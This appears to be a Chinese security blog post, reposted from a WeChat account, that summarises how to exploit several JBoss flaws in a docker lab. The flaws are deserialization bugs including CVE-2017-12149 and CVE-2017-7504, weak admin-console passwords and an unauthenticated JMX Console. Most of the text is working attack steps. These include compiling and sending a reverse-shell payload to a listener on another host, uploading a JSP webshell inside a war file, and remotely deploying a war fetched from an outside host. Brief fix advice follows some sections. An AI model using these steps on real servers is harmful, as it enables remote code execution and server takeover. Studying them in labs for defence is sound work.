JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
漏洞原理:该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化:
使用docker搭建漏洞环境
访问 /invoker/readonly 返回500,说明页面存在,此页面存在反序列化漏洞。
使用工具JavaDeserH2HC进行攻击
首先使用nc建立一个监听,然后使用工具
#生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口)
#访问利用
curl http://127.0.0.1:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
直接获取到root权限
修复建议:
-
删除http-invoker.sar组件,路径如下jboss-6.1.0.Finalserverdefaultdeployhttp-invoker.sar
-
更新JBoss
JBoss <=4.x JBossMQJMS 反序列化漏洞(CVE-2017-7504)
漏洞原理:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTPInvocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
访问/jbossmq-httpil/HTTPServerILServlet,返回This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞
因为都是反序列化漏洞,攻击时方式和之前一样,先生成一个序列化数据,然后通过包发送,生成方式一样
#生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.108:9999(nc监听端口)
#访问利用
curl http://127.0.0.1:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
JBoss JMXInvokerServlet 反序列化漏洞
访问 /invoker/JMXInvokerServlet
说明接口开放,此接口存在反序列化漏洞
同样这里直接利用CVE-2017-12149生成的ser,发送到 /invoker/JMXInvokerServlet接口中。
curl http://127.0.0.1:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
JBoss EJBInvokerServlet 反序列化漏洞
访问 /invoker/EJBInvokerServlet
说明接口开放,此接口存在反序列化漏洞
同样这里直接利用CVE-2017-12149生成的ser,发送到 /invoker/EJBInvokerServlet接口中。
curl http://127.0.0.1:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
Administration Console 弱口令 && 后台getshell漏洞
在后台管理控制台爆破密码http://127.0.0.1:8080/admin-console/index.seam
登陆后台后上传war包,和tomcat的漏洞同理,写好一个jsp木马打包成war文件
jar -cvf shell.war shell.jsp
蚁剑连接http://127.0.0.1:8080/shell/shell.jsp
修复建议:
-
1. 修改密码 C:jboss-6.1.0.Finalserverdefaultconfpropsjmx-console-users.properties
-
2. 删除Administration Console页面。JBoss版本>=6.0,admin-console页面路径为:C:jboss-6.1.0.Finalcommondeployadmin-console.war6.0之前的版本,路径为C:jboss-4.2.3serverdefaultdeploymanagementconsole-mgr.sarweb-console.war
JMX Console未授权访问
JMXConsole默认存在未授权访问,直接点击JBoss主页中的JMXConsole链接进入JMXConsole页面。http://127.0.0.1:8080/jmx-console/
在JMXConsole页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer
进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署。
(这里点了invoke会跳到500,所以我直接在url构造上传war包)
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.0.108/shell.war
显示这样就代表上传成功
修复建议:
-
增加密码措施,防止未授权访问。
-
删除JMXConsole,后重启JBoss C:jboss-6.1.0.Finalcommondeployjmx-console.war
●【社区精选】Python分离免杀
原文始发于微信公众号(暗魂攻防实验室):【社区精选】JBoss常见漏洞总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论